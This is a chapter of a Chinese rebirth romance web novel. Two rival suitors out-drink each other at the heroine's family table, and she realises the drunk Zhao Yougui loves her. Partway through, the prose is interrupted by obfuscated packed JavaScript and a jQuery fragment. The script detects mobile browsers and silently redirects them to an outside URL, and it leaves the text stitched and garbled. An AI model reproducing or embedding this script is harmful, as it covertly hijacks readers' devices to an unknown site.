38. 喜欢谁

饭桌上的气氛有点怪。楚邵像是要吃掉赵有归似,赵有归吃什么,他就抢什么。


林语晨去夹菜,不小心遭了殃。


赵有归帮着把菜夹给林语晨,楚邵直接端盘子往林语晨的碗里倒。


林大宝:……这饭还吃吗?


林兰香:当我们俩不存在吗?


林语晨看着满当当的碗:能不能都轰出去?


“妈,我回房间吃,顺便看书。”


林兰香默默地看着女儿端碗回房,再扫眼林大宝:“我再去炒个菜吧。”


林大宝释放求救的眼神:阿香,别丢下我。


对上两张争强好胜的脸,林大宝呵呵:“……来来,慢慢吃。要不,喝点酒吧?”


“好啊,爸,呃,叔!”楚邵对“老丈人”还是很喜欢。


他找到米酒壶,接着去找碗。赵有归已经拿来三只碗。


楚邵瞪他,给三人倒满满一碗。


“叔,我知道你爱喝酒,回头我给你找瓶茅台。”


前世,楚邵就爱给老丈人找各种酒。他怕林兰香,但是敬着林大宝。


“哦哦,谢谢你啊。你叫楚……”


“楚邵。我爸姓楚,我妈姓邵,他们一个省城人,一个外省,都是知青下乡。后来,两人看对眼就结了婚。


我还有个哥哥叫楚林,娶得是林家村人,与你是本家。”


楚邵端起碗与林大宝碰了下就要喝,发现林大宝又同赵有归碰,也递去碗,“有归哥,当兵多年,在部队喝不到酒吧?来,别客气,一口干,谁喝不完谁就是孙子。”


赵有归轻扯唇角,幽幽地看向楚邵:“好啊,干。”


林大宝以为赵有归会拒绝,没想到答应,赶紧说:“不能喝就少喝点,别喝这么急。米酒后劲大。”


楚邵的眼神发亮:赵有归不能喝酒!


他兴奋了,决定拿米酒喝趴他!


“叔,你随意。”两人异口同声,互对眼,开始咕隆咕隆拿酒当水喝。


林大宝尬扯笑容:其实,我是心疼酒啊!这年头的粮产不高,有余粮酿酒是奢侈。


林语晨吃完饭回灶房放碗,路过堂屋见三人还在吃,诧异说:“妈,他们怎么喝上酒了?”


林兰香意味深长地说:“农忙过了,闲得没事干呗。哝,端去吧。你洗碗啊,我去小翠家串个门。”


林语晨端盘花生米,目送林兰香欢快地离开。


自家妈自家清楚,一定去找小姐妹八卦,可能会炫耀句“我女儿啊追的人可多了。”


她进堂屋放下花生米,刚要离开就被抓住手腕。


林语晨看向目色平静的赵有归,挣了下让他放手。


楚邵急眼,抓住林语晨的另一只手:“赵有归,你干嘛?耍酒疯啊,别乱来啊。”


“你放手。”林语晨斜睨楚邵,瞟见装米酒的五斤壶见底,“爸,别喝了。”


“啊?不多啊,我们分匀了,一人一斤多,才一碗半。”林大宝的酒量好,清醒着呢。左右开弓,按在两小伙的肩头,“放手放手,晨晨,我床底下还有一壶,你去拿来。”


赵有归听话地松了手。


楚邵这才放开林语晨,笑说:“晨晨的酒量很好,号称千杯不醉。出门带上她,保准喝倒一大片。”


林大宝、林语晨和赵有归的眼神同时深几许。


林语晨更是扯起笑:喜欢喝喜欢夸是吧?我让你爬回去。


她到里屋找出十斤壶,提回来:“爸,你藏得真好。”


“嘿,我看到你妈出去才让你拿。别和她说啊,一会再藏回去。”林大宝嘻笑着给两人再次倒满。


“晨晨,你也喝一碗。”楚邵把碗放在林语晨面前,一如前世酒桌上的做派。


林语晨冷嗤,端起碗送到楚邵嘴边:“这酒稀罕着呢,而且你们分匀了。若我喝了,我爸和有归哥该不乐意了。”


赵有归低头看着酒碗,闻言瞧两人,再次低头。乳黄色的米酒漂浮着雪白的米粒,像一抹盛开的笑靥,浅尝微甜,入喉有点冲,下肚后上头。


不知不觉又喝光一碗。


楚邵看到他的举动,绝对不能做孙子。


“晨晨说得对。”咕咚咕咚开咽,中途想要吸口气,林语晨不让,非逼他一口气喝完。楚邵拿出前世豪饮的本事,完了还是忍不住呛起来。


林语晨看着空空的碗,笑了:“来,吃口菜。”


楚邵呛得脸红脖子粗,依旧乐着,就着林语晨的筷子强咽:“晨晨,你真好……噗……咳咳。咽回去了。”


林语晨嫌弃地睨他,一边毫不手软地拿起壶又给他倒满,正要再灌,面前伸来只碗,里面是满满的米酒。


她侧头看去,赵有归的眼神炯炯带笑。


这人什么时候又倒一碗?


“我也要……”赵有归毫不遮掩地直视她。


“你的碗满着呢。”不会喝醉吧?


林语晨歪头,观察他的神情,再及端碗的手掌:神色上看不出来,碗端得很稳,指甲圆短泛红,掌心有些红。


赵有归不太能喝酒啊!


林大宝磕着花生米,看着两人在女儿面前较劲,忍不住拉大唇角:“有归不太能喝。以前他就陪小半碗。”


“能喝。”赵有归固执地递着碗。说来也怪,竟没洒出一滴酒。


楚邵直接开嘲:“晨晨,他不能喝,我能啊。咳咳……他醉了,我来。”


“喂。”赵有归神情越发坚定,说出的话与以往作风不同。


这句“喂”好似在吼楚邵,又像对林语晨“求喂”。


林语晨突然有些心烦,拍掉楚邵接碗的手,拿过赵有归的碗去喂楚邵。


结果赵有归伸长脖子,一副等着人喂的姿态。


林大宝哈哈大笑,断定说:“他醉了。晨晨,扶他回去吧。”


林语晨答应,放下碗,却发现赵有归来咬碗口。


她也无语了,一手按在他的后脖子处,直接给他喂完。


“好了,没有了。有归哥,我送你回去吧。”


起初楚邵瞧着两人乐,后来觉得不对味,不乐意林语晨喂赵有归。


他想起前世。


一开始,林语晨陪着应酬,比自己能喝,有种捡到宝的感觉。


后来,林语晨办事利索、能干,处处比自己行,又觉得这个女人太能干太强势,一旦起飞,根本不需要男人。


造纸厂的发展越来越好,谈买卖合作少有不成事。


楚邵开始有种放逐的心态:林语晨是不是根本不需要我?


此后,两夫妻进城买房。楚邵听说房地产发展好,成立个建筑公司、拉起工程队……造房子的事情多,谈项目谈合作商谈建材……有时候谈不下来,他就拉林语晨去组局。看她劝酒,他也会吃醋心酸。


楚邵猛喝了一碗,放下碗起身反对,被林大宝强按回座位。


林大宝:“小伙子,我很少碰到能喝酒的年轻人。来,酒桌看人品,今天我试试你的本事。”


“不是,爸……不能让晨晨和赵有归一起走啊。”楚邵急了。


林大宝牵起一边唇角:“你这都喊爸了,我不能放过你,改叫叔!”


楚邵起三次身都被林大宝按回去。林家父女喂人喝酒的本事差不多,恼起来直接上手灌。


林语晨搀着人高马大的赵有归出院门。


这个点,村里人都在家打盹,路上没什么人。


两人悄无声息地回赵有归家。


林语晨把人扔在床上,扶着膝盖喘气。这家伙不仅高还沉得很,幸好还知道走路。


她帮着脱掉鞋,捞过军绿色的被子压他身上:“不能喝还非得喝,打肿脸充胖子,犯得着吗?”


赵有归躺在床上后迷瞪双眼,甩下头,迷糊地看向那朵会说话的花朵,呵呵地笑起来。


林语晨诧异地看过去,俯身问:“你笑什么?”


“你。”


“我?”林语晨蹙眉,又展眉回个笑,心想不能跟醉鬼说话。转身要走被拉住手腕,回头要骂人,却发现赵有归坐起来。


“还有什么事吗?”


“这个送你。”赵有归在里兜翻找,抓出两块手绢。一块白色,一块藏青格子色。


他把白色递来:“送你。”


林语晨的目光落在格子帕:“我要那块。”格子帕果真在他那。难道是沈秋霞觉得这颜色适合男人就给儿子?


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15044367|160668||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


赵有归有些迟钝,捏着格子帕愣了会,摇头说:“不行。白色送你。”


“呵!”林语晨轻笑,坐在床沿,“真喝醉了?怎么还分得清颜色。”


“没醉。晨晨。”赵有归直直地看着她,拿起白色手绢强塞进她的手心,帮她握紧,“送你。”


“……”都叫人家小名还没喝多呢?


林语晨拽着白色手绢,又去拿格子帕,已经抓住帕角。


赵有归像一头打盹的老虎,被抽动的力道惊醒,猛抽回去:“不行。”


林语晨也用了力,被他一拽后扑过去,直接撞进赵有归的怀里。


赵有归下意识环住她:“晨晨……”


林语晨靠在他的肩头,感受颈侧传来的亲昵磨蹭,一时没有回过神。手脚被血液涌过,激麻了。


她试着推开赵有归,却被抱得更紧。


“赵有归,松手,别趁醉耍流氓。”


赵有归不说话,动作是一点没松,心满意足地睡着了。


林语晨等好一会才侧头,对方也跟着侧头……


“这个姿势也能睡?”


一边无奈,一边哄他,“赵有归,有归哥,我有点累,松手好不好?”


“呜……”赵有归下意识松开环抱她的手,头依旧靠贴在林语晨的颈项。


林语晨趁机把他放倒,坐在床头看着。


不知怎么,隔空描摹赵有归的五官,轮廓宽长,线条刚硬,不是楚邵那种奶油小生,赵有归更有男人味。


她含笑拿起落在里侧的格子帕,展开后发现帕子没什么变化,意味这帕子没被用过,却被贴身藏着。


电光火石!林语晨想起沈秋霞让赵有归进屋拿帕子的场景、再有城站小吃馆里他收回帕子时慌乱地说“这块脏了……”


这刻,她明白一件事,看向赵有归,喃喃问:“你……怎么会……喜欢我呢?”


赵有归在睡梦里侧个身,平躺的姿势变成婴儿般睡觉,手垫在脸颊下。


这种姿势太奇怪,一点不符合赵有归。


他该是刚才那种平躺的睡姿,再把手放在两侧,又或者像楚邵一样趴着睡……


“压力大、不安心吗?”林语晨喃喃自语,眨眼间又轻轻地笑了。


手好像有了自我意识,自然地摸在赵有归的脸颊。皮肤有些粗硬,但是很烫,热进人心里去。下意识忽视这份入心的感觉,专注手头的触感。若是能涂几次面油,手感会更好。


倾身贴在他的耳侧,缓缓地呼吸喷洒在赵有归的耳边,浮起他偏硬的短发。


睡梦中的赵有归蹙着眉,转脸时鼻尖滑碰过什么,刺激他训练过的脑子。


他睁开眼,看着那道碎花般的背影快速消失,无声呢喃:“……语晨!”


一瞬间的清醒过后,酒精再次占据大脑,安心地睡过去。


回到家的林语晨见林大宝在洗碗,赶过去帮忙。


“爸,还有个呢?”


“在堂屋的竹榻上睡着呢。”林大宝记得妻子说女儿为楚邵在里屋睡发过火,这次他把竹榻让给楚邵。


他把洗过的碗递给女儿,乐呵说,“中意哪个?”


林语晨瞬间明白这话的意思,蹙眉又松,反问:“爸呢?”


林大宝瞪大眼:“问我干啥。你丈夫是跟你过一辈子,又不是跟我和你妈过。你看中哪个你说了算。”


林语晨莞尔,一边过水放碗一边说:“我以为爸更喜欢赵有归。”


“叫人家哥。没大没小。姓楚的小子长得不错,人机灵会来事。只要不懒,你们以后能过上好日子。你妈就喜欢这样。”林大宝摇着头点评。


“你搞错了。我妈喜欢赵有归那样。”林语晨想起那夜赵有归穿军大衣,林兰香拿手电筒照他的欣喜情态。


自家妈是实用主义者。


“你妈那心思我能不知道啊。有归人高,型好。她就嫌弃我矮。幸好,你爸年轻的时候长得还不错,不比姓楚的小子差。”林大宝擦干净手往外走。


“爸,你真觉得姓楚的好啊?”林语晨有些诧异。一直以为林大宝看好得是赵有归。


林大宝默下,回头盯女儿两眼,一声不吭回堂屋。